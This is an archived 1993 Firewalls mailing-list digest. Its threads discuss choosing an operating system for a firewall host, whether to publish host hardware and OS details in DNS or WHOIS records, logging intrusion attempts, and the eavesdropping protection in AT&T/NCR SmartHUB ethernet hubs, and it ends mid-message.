Firewalls-Owner Fri Sep 10 01:14:14 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA19820; Fri, 10 Sep 93 01:14:14 GMT Received: from azalea.tis.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA19813; Thu, 9 Sep 93 18:14:07 PDT Received: by azalea.tis.com; id AA10262; Thu, 9 Sep 93 21:15:38 EDT Received: from tis.com/192.33.112.100 via smap Received: from otter.TIS.COM by TIS.COM (4.1/SUN-5.64) id AA04484; Thu, 9 Sep 93 21:16:33 EDT Received: by otter.TIS.COM (5.65/client) id AA02620; Thu, 9 Sep 93 21:16:30 -0400 From: mjr@TIS.COM Date: Thu, 9 Sep 93 21:16:30 -0400 Message-Id: <2620.9309100116@otter.TIS.COM> To: dorian@cobalt.house.gov, firewalls@GreatCircle.COM Subject: Re: OS question (2nd try) Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk >I'm worried that the silence which greeted my question >about degrees of security within flavors of Unix should be taken >to mean that my question was a dumb one. I think it might have been because there isn't a very good answer. If I had to comment on what flavors of UNIX have degrees of security, from a practical standpoint, I'd say the one that's the most secure is the one you know best! Many vendors ship systems with dumb security configurations right out of the box. Not to pick on anyone in particular, but vendors that persistently ship machines with "+" in /etc/hosts.equiv are an example. These little "oopsies" become part of the common lore for administrators of that platform. You come to know them, and if you're setting up a firewall around one you know what to look out for. >But the recent traffic regarding portmapper is a case in point: there >are those who would avoid SunOS just to avoid that whole can'o'worms. I don't think anyone said that, but I might be mistaken. I personally avoid *portmapper* not SunOS. I'm comfortable with SunOS because I know its quirks and what works and what doesn't (example: I know to use resolv+ and pitch that NIS gunk) - knowing your weaponry in battle is as least as important as knowing your enemy! To put it another way: MVS with RACF has a reputation for being very secure - but I'd rather use a Sun running SunOS for a firewall, because I wouldn't know a properly configured MVS machine if someone dropped it on my foot. (OW!) Your original mail also asked some questions about stability. That gets the same answer: if you're familiar with a platform you'll know what it does and does not do well. For supporting gopher and WAIS and whatnot, it becomes more an issue of whether the box performs and whether the compiler is reasonable, and the O/S environment isn't too badly broken. One option would be to look at the packages you want to run, see what machines the README indicates it's been well-tested on, and go with that. mjr. From Firewalls-Owner Fri Sep 10 01:29:21 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA19849; Fri, 10 Sep 93 01:29:21 GMT Received: from azalea.tis.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA19842; Thu, 9 Sep 93 18:29:12 PDT Received: by azalea.tis.com; id AA10410; Thu, 9 Sep 93 21:30:40 EDT Received: from tis.com/192.33.112.100 via smap Received: from otter.TIS.COM by TIS.COM (4.1/SUN-5.64) id AA04757; Thu, 9 Sep 93 21:31:32 EDT Received: by otter.TIS.COM (5.65/client) id AA02634; Thu, 9 Sep 93 21:31:30 -0400 From: mjr@TIS.COM Date: Thu, 9 Sep 93 21:31:30 -0400 Message-Id: <2634.9309100131@otter.TIS.COM> To: carrato@mhinfo.com, dorian@cobalt.house.gov Subject: Re: OS question (2nd try) Cc: firewalls@GreatCircle.COM Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Tony Carrato writes: >1) Don't use a Unix system as your firewall, use some other OS >that believes in TCP/IP and other needed services. >2) If you must use a form of Unix, use something completely different >from the rest of your network. I'd like to respectfully differ. While I understand the logic, it smacks of security through obscurity, and I believe that in some cases it can make things worse. As I referred to in my earlier note, systems administrator's familiarity with the platform is a big plus. There is no way lots of the folks on this list could run a VMS-based firewall. I know how to log into VMS but I can't even manage to change directories off my home volume! Using something completely different from the rest of your network has the same kind of problem. It means that you have one more set of bugs to track, one more set of slightly different broken things from your vendor, etc. This isn't a revelation, so I'll share it with the list, but one very, very, very effective way or breaking into a system is to find out what it's running. Then you get the release notes for the next rev of that operating system. You *WILL* find clues for how to fix security holes in the previous (current, on the target machine) version. If that target machine is one of mine, I'd rather have it be an operating system I know and *HATE* - one I hate so much that I have personally gone over every broken utility with a fine toothed comb, and fixed it. One that I hate with a passion because I intimately know every error message and error condition it might give me because I've seen 'em so many times. ;) If I were running a firewall on a VMS system, I might not realize that SYS$U-[HAV]-BIN-SKR00D-D00D meant, in the immortal words of Capt Nemo, that I had an accident, not an incident. mjr. From Firewalls-Owner Fri Sep 10 02:15:39 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA20006; Fri, 10 Sep 93 02:15:39 GMT Received: from hp.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA19999; Thu, 9 Sep 93 19:15:31 PDT Received: from hpcuhe.cup.hp.com by hp.com with SMTP (16.8/15.5+IOS 3.13) id AA15317; Thu, 9 Sep 93 19:17:40 -0700 Received: from hpepoc.cup.hp.com by hpcuhe.cup.hp.com with SMTP (1.36.108.4/15.5+IOS 3.20+cup+OMrelay) id AA04059; Thu, 9 Sep 93 19:17:33 -0700 Received: from hpdso049.cup.hp.com (piton) by hpepoc.cup.hp.com; Thu, 9 Sep 1993 19:17:16 PST Received: by hpdso049.cup.hp.com (piton); Thu, 9 Sep 1993 19:13:12 PST From: Ant@hpdso049.cup.hp.com (Alan Tibbetts) Date: Thu, 9 Sep 1993 19:12:46 PST To: Tony Carrato Cc: firewalls@GreatCircle.COM, Dorian Deane Subject: Heresey Squared In-Reply-To: <9309091716.aa03109@mhinfo.mhinfo.com> (Tony Carrato, Thu, 9 Sep 1993 17:16:41 -0600 (MDT)) Message-Id: Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk [from Tony Carrato] >Dorian Deane asks if there is any flavor of Unix that might be a >better choice for a firewall system than another. I've got two >answers, both of which might provoke a degree of religious fervor >but what the heck :) > >1) Don't use a Unix system as your firewall, use some other OS >that believes in TCP/IP and other needed services. > >This may be heresy but most attacks are pointed toward some flavor >of Unix. If the main purpose of the firewall system is to move >appropriate things in and out, such as mail/news/telnet/ftp, and >not serve as an application machine, using something besides Unix >serves two purposes. Firstly, an attack on Unix probably won't >break into VMS or whatever. Second, even a successful attack >will have a tougher time propagating itself to the rest of your >(presumably Unix) network. > >2) If you must use a form of Unix, use something completely different >from the rest of your network. > >If you run SunOS, use AIX for your gateway and so on. (Actually >using AIX isn't as much of an issue as using something with >differences that are fairly signifigant in the way it sees the world. >For shops that REALLY want a Unix firewall, an SCO box (386/486 with >SCO Unix and SCO TCP/IP) that is configured to not pass packets >through and doesn't support many services/users is not a bad choice >IF your network is composed of entirely different systems. >\ >If you don't install things like NFS on the firewall system, breaking >into NFS is a lot harder. > >Tony > >---------------------------------------------------------------------------- >Tony Carrato Mile-High Information Services, Inc. >carrato@mhinfo.com 9725 E. Hampden, Suite 400 >fax (303) 695-8284 Denver, CO 80231 >voice (303) 695-8070 U.S.A. >---------------------------------------------------------------------------- Hello to all, I am new to the subject of firewalls and have been reading silently for a few weeks now. Thanks to all of you for the education that I have been receiving. I really haven't considered that I have anything to contribute, but Tony Carrato's suggestion that a non-UNIX box would be unexpected challenge to hackers really caught my attention. This is so because I am using an HP-1000 for my network access machine. Don't be embarrased if you don't know what a 1000 is, 90% of HP hasn't heard of it either, even though it was first introduced in 1966! That is 27 years ago, or about half an eternity in computer years. (Computer years are like "dog years", only they keep getting shorter every year! Perhaps that is why no computer related project ever seems to be completed on time -- time shrinkage?) Anyhow, if you used an HP-1000 as a firewall it would certainly qualify as something completely different (in the Monty Python sense, perhaps). It runs a venerable operating system called RTE. It certainly qualifies as a stable platform; HP has publicly committed to supporting it until the year 2010! Its networking is TCP/IP based and has routing capability. In reality, it isn't a very fast FTP server, and C is a bit of a foreign language on it, so it isn't likely that any true believer would ever choose it as a gateway, but the thought certainly made my day! Best regards, Alan Tibbetts SWT RTE R&D (consultant) Internet: ANT@cup.hp.com HP Work phone: 408-447-5228 (T-447-5228) Home Phone: 408-247-7280 HP FAX 408-447-5039 Home FAX: 408-247-6667 From Firewalls-Owner Fri Sep 10 02:52:50 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA20096; Fri, 10 Sep 93 02:52:50 GMT Received: from terminus.cs.umb.edu by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA20089; Thu, 9 Sep 93 19:52:44 PDT Received: by terminus.cs.umb.edu id AA13059 (5.65c/IDA-1.4.4 for firewalls@greatcircle.com); Thu, 9 Sep 1993 22:54:31 -0400 Date: Thu, 9 Sep 1993 22:54:31 -0400 From: "John B. Brown" Message-Id: <199309100254.AA13059@terminus.cs.umb.edu> To: dorian@cobalt.house.gov, firewalls@GreatCircle.COM Subject: Re: OS question (2nd try) Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Dear Mr. Deane, There are no inherently more or less secure UNIX systems. There are only more or less security conscious and capable UNIX System Administrators. Security is only automatic (some times) when the system is turned off. People, not machines, provide the only security. Shalom, JBB. From Firewalls-Owner Fri Sep 10 09:15:38 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA21394; Fri, 10 Sep 93 09:15:38 GMT Received: from pluto.sm.dsi.unimi.it (c700-3.sm.dsi.unimi.it) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA21387; Fri, 10 Sep 93 02:15:22 PDT Received: by pluto.sm.dsi.unimi.it (1.37.109.4/16.2) id AA11507; Fri, 10 Sep 93 11:18:38 +0200 Message-Id: <9309100918.AA11507@pluto.sm.dsi.unimi.it> From: vince@dsi.unimi.it (David Vincenzetti) Date: Fri, 10 Sep 1993 11:18:37 +0000 X-Mailer: Mail User's Shell (7.2.5 10/14/92) To: firewalls@GreatCircle.COM Subject: Venema's site Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk All Venema's stuff is available on ftp.win.tue.nl in the /pub/security directory. Five guys asked me about it after I'd posted my last article so I'm posting the answer here. IMHO I suggest you get at least two programs: log_tcp_5.1.shar.Z and portmap.shar.Z. Regards, David From Firewalls-Owner Fri Sep 10 13:16:06 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA21971; Fri, 10 Sep 93 13:16:06 GMT Received: from research.att.com (ninet.research.att.com) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA21963; Fri, 10 Sep 93 06:15:59 PDT Message-Id: <9309101315.AA21963@mycroft.GreatCircle.COM> From: ches@research.att.com Date: Fri, 10 Sep 93 09:15:47 EDT To: firewalls@GreatCircle.COM Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk >Carrato's suggestion that a non-UNIX box would be unexpected challenge to >hackers For some, perhaps. Security by obscurity does work to some extent. But many of the Bad Guys have lists of security holes which they share. These lists are no restricted to Unix boxes by any means. A recall watching Berferd connect to the whois server and ask for all the Sperry 5000 machines. Presumably he had something he wanted to try out on them. ches From Firewalls-Owner Fri Sep 10 13:21:48 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA22016; Fri, 10 Sep 93 13:21:48 GMT Received: from localhost by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA22007; Fri, 10 Sep 93 06:21:38 PDT Message-Id: <9309101321.AA22007@mycroft.GreatCircle.COM> To: ches@research.att.com Cc: firewalls@GreatCircle.COM In-Reply-To: Your message of Fri, 10 Sep 93 09:15:47 EDT Date: Fri, 10 Sep 93 06:21:37 -0700 From: Brent Chapman Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk # A recall watching Berferd connect to the whois server and ask for all the # Sperry 5000 machines. Presumably he had something he wanted to try out on them. I never did see the value of having machine hardware and OS information in the DNS or WHOIS databases. To me, that info just seems to make life easier for crackers. Does anyone outside a site have a legitimate need for that kind of information? What do I care what flavor of boxes you run; they either talk the Internet protocols, or they don't. -Brent -- Brent Chapman Great Circle Associates Brent@GreatCircle.COM 1057 West Dana Street +1 415 962 0841 Mountain View, CA 94041 From Firewalls-Owner Fri Sep 10 13:37:03 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA22092; Fri, 10 Sep 93 13:37:03 GMT Received: from eden-valley.aaii.oz.AU by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA22085; Fri, 10 Sep 93 06:36:51 PDT Received: from localhost.aaii.oz.AU by eden-valley.aaii.oz.AU with SMTP (5.65c/SMI-4.0/AAII) id AA23066; Fri, 10 Sep 1993 23:39:22 +1000 Message-Id: <199309101339.AA23066@eden-valley.aaii.oz.AU> To: firewalls@GreatCircle.COM Subject: Blocking holes vs. laying traps in them. Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Fri, 10 Sep 1993 23:39:22 +1000 From: Anthony Baxter Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Having just spent a bit reading Bill Cheswicks 'Evening with Berferd' paper, its inspired me to ask - what are people's feelings about either closing any possible holes vs leaving something in place to log any attempts to use that hole. Does that information gain you much, and if so, is it worth the effort? We log some things here, and I'm trying to make up my mind as to whether its worth logging more. So, what do you folks think? Anthony From Firewalls-Owner Fri Sep 10 13:38:02 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA22102; Fri, 10 Sep 93 13:38:02 GMT Received: from azalea.tis.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA22093; Fri, 10 Sep 93 06:37:52 PDT Received: by azalea.tis.com; id AA13617; Fri, 10 Sep 93 09:39:24 EDT Received: from tis.com/192.33.112.100 via smap Received: from TIS.COM by TIS.COM (4.1/SUN-5.64) id AA19110; Fri, 10 Sep 93 09:40:13 EDT Message-Id: <9309101340.AA19110@TIS.COM> From: Frederick M Avolio X-Organization: Trusted Information Systems, Inc. X-Phone: +1 301 854 6889, +1 410 442 1673, FAX: +1 301 854 5363 To: Brent Chapman Cc: ches@research.att.com, firewalls@GreatCircle.COM In-Reply-To: Your message of Fri, 10 Sep 93 06:21:37 -0700. <9309101321.AA22007@mycroft.GreatCircle.COM> Date: Fri, 10 Sep 93 09:40:11 -0400 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > I never did see the value of having machine hardware and OS information > in the DNS or WHOIS databases. To me, that info just seems to make life > easier for crackers. Does anyone outside a site have a legitimate need > for that kind of information? What do I care what flavor of boxes you run; > they either talk the Internet protocols, or they don't. I was thinking about this just yesterday in a discussion here at lunch. I remember dutifully filling in machine and OS information on the UUCP Map form for decuac a few years back. Boy was that dumb! Fred From Firewalls-Owner Fri Sep 10 13:43:37 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA22132; Fri, 10 Sep 93 13:43:37 GMT Received: from cs.huji.ac.il by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA22123; Fri, 10 Sep 93 06:42:29 PDT Received: from picton.cs.huji.ac.il by cs.huji.ac.il with SMTP id AA11887 (5.65b/HUJI 4.114); Fri, 10 Sep 93 15:45:47 +0200 Received: from localhost by picton.cs.huji.ac.il with SMTP id AA02484 (5.65c/HUJI 4.121); Fri, 10 Sep 1993 15:44:43 +0200 Message-Id: <199309101344.AA02484@picton.cs.huji.ac.il> To: Brent Chapman Cc: firewalls@GreatCircle.COM In-Reply-To: Your message of Fri, 10 Sep 93 06:21:37 -0700 . <9309101321.AA22007@mycroft.GreatCircle.COM> From: Amos Shapira Date: Fri, 10 Sep 1993 15:44:34 +0200 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk In message <9309101321.AA22007@mycroft.GreatCircle.COM> you write: |# A recall watching Berferd connect to the whois server and ask for all the |# Sperry 5000 machines. Presumably he had something he wanted to try out on t |hem. | |I never did see the value of having machine hardware and OS information |in the DNS or WHOIS databases. To me, that info just seems to make life |easier for crackers. Does anyone outside a site have a legitimate need |for that kind of information? What do I care what flavor of boxes you run; |they either talk the Internet protocols, or they don't. Though this is not a general example but take things like automatic ftp clients and services like Archie (well, I'm running one so this is close to my heart :). Also if the info is maintained properly then it can be usefull in things .login scripts to set shell variables etc. or helping remote backup programmes decide what command to feed to "rsh", this kind of stuff. | | |-Brent |-- |Brent Chapman Great Circle Associates |Brent@GreatCircle.COM 1057 West Dana Street |+1 415 962 0841 Mountain View, CA 94041 --Amos --Amos Shapira (Jumper Extraordinaire) | "War does not determine who is right, C.S. System Group, Hebrew University, | but who is left" Jerusalem 91904, ISRAEL | amoss@cs.huji.ac.il | -- Anonymous? From Firewalls-Owner Fri Sep 10 14:02:39 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA22187; Fri, 10 Sep 93 14:02:39 GMT Received: from seas.smu.edu by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA22180; Fri, 10 Sep 93 07:02:32 PDT Received: by seas.smu.edu (/\==/\ Smail3.1.28.1 #28.9) id ; Fri, 10 Sep 93 09:05 EDT Received: by seas.smu.edu (/\==/\ Smail3.1.21.1 #21.9) id ; Fri, 10 Sep 93 08:52 CDT Message-Id: From: doug@seas.smu.edu (Doug Davis) Subject: Re: your mail To: ches@research.att.com Date: Fri, 10 Sep 1993 08:52:21 -0500 (CDT) Cc: firewalls@GreatCircle.COM In-Reply-To: <9309062327.AA07942@mycroft.GreatCircle.COM> from "ches@research.att.com" at Sep 6, 93 07:21:24 pm X-Mailer: ELM [version 2.4 PL21] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 810 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk We log everything going thru our gateway i'ed be happy to provide you with summary information or the raw data. Some of the "normal" fun has been ICMP scanning of all our subnets, followed by a finger, telnet, or rlogin attempt. Lots of shots taken at various sevices that we restrict (rlogin for example) and lately dozens of attempts by a machine over in denmark for ports > 20000 on various machines. Anyway I'm not sure the form of information that you want, or for that matter how much of it. I'll be glad to discuss and make available what I can. doug -- Director -- SEAS Computer Operations @ SMU doug@seas.smu.edu 3145 Dyer Street #116 Voice: 214-768-8649 FAX: 214-768-3883 Dallas Texas 75275 PPSEL-IA From Firewalls-Owner Fri Sep 10 14:17:38 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA22237; Fri, 10 Sep 93 14:17:38 GMT Received: from ns1.arlut.utexas.edu by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA22230; Fri, 10 Sep 93 07:17:29 PDT Received: by ns1.arlut.utexas.edu id AA16119 (5.65c/IDA-1.4.4); Fri, 10 Sep 1993 09:20:49 -0500 From: Pug Message-Id: <199309101420.AA16119@ns1.arlut.utexas.edu> Subject: Re: your mail To: amoss@cs.huji.ac.il (Amos Shapira) Date: Fri, 10 Sep 1993 09:20:49 -0500 (CDT) Cc: brent@GreatCircle.COM, firewalls@GreatCircle.COM In-Reply-To: <199309101344.AA02484@picton.cs.huji.ac.il> from "Amos Shapira" at Sep 10, 93 03:44:34 pm X-Mailer: ELM [version 2.4 PL22] Content-Type: text Content-Length: 2287 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > In message <9309101321.AA22007@mycroft.GreatCircle.COM> you write: > |I never did see the value of having machine hardware and OS information > |in the DNS or WHOIS databases. To me, that info just seems to make life > |easier for crackers. Does anyone outside a site have a legitimate need > |for that kind of information? What do I care what flavor of boxes you run; > |they either talk the Internet protocols, or they don't. > Though this is not a general example but take things like automatic > ftp clients and services like Archie (well, I'm running one so this is close > to my heart :). Also if the info is maintained properly then it can be > usefull in things .login scripts to set shell variables etc. or helping > remote backup programmes decide what command to feed to "rsh", this kind > of stuff. Something I've always wondered myself about this is how useful it is. What information should you put in the HINFO fields? I've picked up the 'official' numbers from the RFC's, but less than 10% of the computers we have are in the list. If there is no such standard, how does it help to set the automatic feedback for ftp and archie? I understand that in days gone past, the number of machines was small and would fit in the 'official' numbers, but with todays rapid growth of computers, it seems impossible to keep them upto date. Heck two of our larger computers (well they atleast take up the largest amount of space) don't even appear in the list and the company is already out of business for several years now. So why should any SysAdmin enter the information if: 1) there is no 'official' number, and 2) the information would be useless to anyone if he followed his own scheme anyway. Although we don't plan on following the 'official' numbers, I've been arguing with myself if it is usefull enough to put in the DNS records. It seems to me that all it does is give people an idea of what computers I've got an how to break into them with no benefits. Ciao, -- Richard Bainter Mundanely | System Analyst - OMG/CSD Pug Generally | Applied Research Labs - U.Texas pug@arlut.utexas.edu | pug@wixer.cactus.org Note: The views may not reflect my employers, or even my own for that matter. From Firewalls-Owner Fri Sep 10 17:32:53 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA22558; Fri, 10 Sep 93 17:32:53 GMT Received: from NMSU.Edu (dns1.NMSU.Edu) by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA22551; Fri, 10 Sep 93 10:32:44 PDT From: amolitor@NMSU.Edu Received: from emmy (emmy.NMSU.Edu) by NMSU.Edu (4.1/NMSU-1.18) id AA19090; Fri, 10 Sep 93 11:35:20 MDT Date: Fri, 10 Sep 93 11:35:20 MDT Message-Id: <9309101735.AA19090@NMSU.Edu> Received: by emmy (4.1/NMSU) id AA20767; Fri, 10 Sep 93 11:35:19 MDT To: firewalls@GreatCircle.COM Subject: host info in DNS - Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Actually, I've found this sort of information useful, when trying to help people out. If someone who's relatively clueless wants to know if such-and-such will run on his machine, it's nice to be able to take 5 seconds and provide some more useful answer than 'it depends on what your machine is'. Not that this usage is particularly germane to the firewalls list, or even terribly important. Andrew From Firewalls-Owner Fri Sep 10 18:06:06 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA22687; Fri, 10 Sep 93 18:06:06 GMT Received: from colossus.cse.psu.edu by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA22680; Fri, 10 Sep 93 11:05:58 PDT Received: by colossus.cse.psu.edu id <37497>; Fri, 10 Sep 1993 14:08:29 -0400 Makemail: v1.9d Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Organization: Computer Science and Engineering, Penn State University From: Dan Ehrlich To: firewalls@GreatCircle.COM Subject: AT&T/NCR StarLAN SmartHUB Dmail: v1.6f Message-Id: <93Sep10.140829edt.37497@colossus.cse.psu.edu> Date: Fri, 10 Sep 1993 14:08:15 -0400 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Although not exactly a firewall the university has installed "secure" twisted pair ethernet hubs for dorm room connections. When the university announced it was providing network connections in the dorm rooms for students it was a suprise to many. A concern we (the Computer Science and Engineering department) raised was that if the TP HUB allowed everyone to see everyone's packets then we could expect a sharp rise in the number of comprimised passwords from people snooping the wire. So they went out and bought a who pile of these AT&T/NCR StarLAN SmartHUBs with Ethernet Repeater Modules and now claim that the students can't snoop each other's packets. I would like to hear from any others who have had experience with these hubs. Good or bad. Thanks, Dan Ehrlich -- Dan Ehrlich - Systems Analyst - PSU Computer Science and Engineering echo '[q]sa[ln0=aln256%Pln256/snlbx]sb3135071790101768542287578439snlbxq'|dc "Universities should be safe havens where ruthless examination of realities will not be distorted by the aim to please or inhibited by the risk of displeasure." - Kingman Brewster From Firewalls-Owner Fri Sep 10 18:50:05 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA22793; Fri, 10 Sep 93 18:50:05 GMT Received: from sayshell.umd.edu by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA22782; Fri, 10 Sep 93 11:49:44 PDT Received: from localhost by sayshell.umd.edu (NX5.67c/NeXT-1.0) id AA14495; Fri, 10 Sep 93 14:51:32 -0400 Message-Id: <9309101851.AA14495@sayshell.umd.edu> To: Dan Ehrlich Cc: firewalls@GreatCircle.COM From: "Louis A. Mamakos" Subject: Re: AT&T/NCR StarLAN SmartHUB In-Reply-To: Your message of "Fri, 10 Sep 1993 14:08:15 EDT." <93Sep10.140829edt.37497@colossus.cse.psu.edu> Date: Fri, 10 Sep 1993 14:51:31 -0400 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk We've got a bunch of the AT&T/NCR SmartHubs running here. Here's how the "security" features work. You can configure each port on the SmartHub with the MAC address of the station connected to it. It can also detects a discrepency between the configured (default all zeros) MAC address and the MAC address of the frames received on that port are. There are two modes that can be enabled: Intrusion Protection and Eavesdropping Protection. For Intrusion protection, the hub will examine the source MAC address of each ethernet frame and scramble any frames that arrive that do not come from the configured MAC address for that port. For Eavesdropping protection, the hub will examine the destination MAC address of each ethernet frame. If the destination address is not multicast/broadcast or doesn't match the configured MAC address for the port, then the contents of the frame are scrambled. So you can't put your ethernet board into promiscuous mode and watch all the traffic going by. All of this activity is done on the frames as they go by, so there is no store-and-forward thing going on in the hub. Louis Mamakos From Firewalls-Owner Fri Sep 10 20:17:16 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA23003; Fri, 10 Sep 93 20:17:16 GMT Received: from envoy.wl.com by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA22992; Fri, 10 Sep 93 13:17:04 PDT Received: by envoy.wl.com (5.65/allen-042593); id AA20693; Fri, 10 Sep 1993 16:19:30 -0400 Received: by mst3k.research.aa.wl.com (4.1/al042593); Received: by mst3k.research.aa.wl.com (4.1/al042593); id AA04281; Fri, 10 Sep 93 16:19:26 EDT Message-Id: <9309102019.AA04281@mst3k.research.aa.wl.com> From: Allen Leibowitz X-Organization: Warner-Lambert / Parke-Davis Research X-Phone: +1 313 998-3314; FAX: +1 313 996-1690 To: firewalls@GreatCircle.COM Subject: Re: AT&T/NCR StarLAN SmartHUB Date: Fri, 10 Sep 1993 16:19:25 -0400 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk The Alantec Powerhub provides similar functionality to the AT&T product. From Firewalls-Owner Fri Sep 10 21:30:28 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA23245; Fri, 10 Sep 93 21:30:28 GMT Received: from cs.huji.ac.il by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA23238; Fri, 10 Sep 93 14:30:13 PDT Received: from picton.cs.huji.ac.il by cs.huji.ac.il with SMTP id AA14341 (5.65b/HUJI 4.114); Fri, 10 Sep 93 23:33:15 +0200 Received: from localhost by picton.cs.huji.ac.il with SMTP id AA02864 (5.65c/HUJI 4.121 for ); Fri, 10 Sep 1993 23:32:14 +0200 Message-Id: <199309102132.AA02864@picton.cs.huji.ac.il> To: firewalls@GreatCircle.COM Subject: Re: your mail In-Reply-To: Your message of Fri, 10 Sep 1993 09:20:49 -0500 (CDT) . <199309101420.AA16119@ns1.arlut.utexas.edu> From: Amos Shapira Date: Fri, 10 Sep 1993 23:32:12 +0200 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk Pug writes: |Something I've always wondered myself about this is how useful it is. |What information should you put in the HINFO fields? I've picked up the |'official' numbers from the RFC's, but less than 10% of the computers |we have are in the list. If there is no such standard, how does it help |to set the automatic feedback for ftp and archie? I understand that in |days gone past, the number of machines was small and would fit in the |'official' numbers, but with todays rapid growth of computers, it seems |impossible to keep them upto date. Heck two of our larger computers |(well they atleast take up the largest amount of space) don't even |appear in the list and the company is already out of business for several |years now. So why should any SysAdmin enter the information if: 1) there |is no 'official' number, and 2) the information would be useless to |anyone if he followed his own scheme anyway. Although we don't plan on |following the 'official' numbers, I've been arguing with myself if it is |usefull enough to put in the DNS records. It seems to me that all it |does is give people an idea of what computers I've got an how to break |into them with no benefits. | |Ciao, | |-- |Richard Bainter Mundanely | System Analyst - OMG/CSD |Pug Generally | Applied Research Labs - U.Texas | pug@arlut.utexas.edu | pug@wixer.cactus.org |Note: The views may not reflect my employers, or even my own for that matter. Yes, you are addressing a good point against this practice, which might make my argument about outside services using it a bit obsolate. But still if you follow some home-rules for maintaining these fields you can still use them quite effectively for home-grown or customized applications. I know *I* would. Cheers, --Amos --Amos Shapira (Jumper Extraordinaire) | "War does not determine who is right, C.S. System Group, Hebrew University, | but who is left" Jerusalem 91904, ISRAEL | amoss@cs.huji.ac.il | -- Anonymous? From Firewalls-Owner Fri Sep 10 21:48:10 1993 Return-Path: Received: by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA23283; Fri, 10 Sep 93 21:48:10 GMT Received: from yonge.csri.toronto.edu by mycroft.GreatCircle.COM (4.1/SMI-4.1/Brent-921015) id AA23274; Fri, 10 Sep 93 14:48:01 PDT Received: from alias by yonge.csri.toronto.edu with UUCP id <14665>; Fri, 10 Sep 1993 17:50:35 -0400 Received: from dino.alias.com by barney.alias.com with SMTP id AA06586 (5.65a/IDA-1.4.2 for brent@GreatCircle.COM); Fri, 10 Sep 93 17:36:23 -0400 Received: by dino.alias.com id AA26859 (5.65a/IDA-1.4.2 for firewalls@GreatCircle.COM); Fri, 10 Sep 93 17:36:21 -0400 From: chk@alias.com (C. Harald Koch) Message-Id: <9309102136.AA26859@dino.alias.com> Subject: Re: your mail To: brent@GreatCircle.COM (Brent Chapman) Date: Fri, 10 Sep 1993 18:36:21 -0400 Cc: ches@research.att.com, firewalls@GreatCircle.COM In-Reply-To: <9309101321.AA22007@mycroft.GreatCircle.COM> from "Brent Chapman" at Sep 10, 93 09:21:37 am X-Mailer: ELM [version 2.4 PL22] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 666 Sender: Firewalls-Owner@GreatCircle.COM Precedence: bulk > I never did see the value of having machine hardware and OS information > in the DNS or WHOIS databases. When I'm trying to diagnose a mail delivery problem (for example) 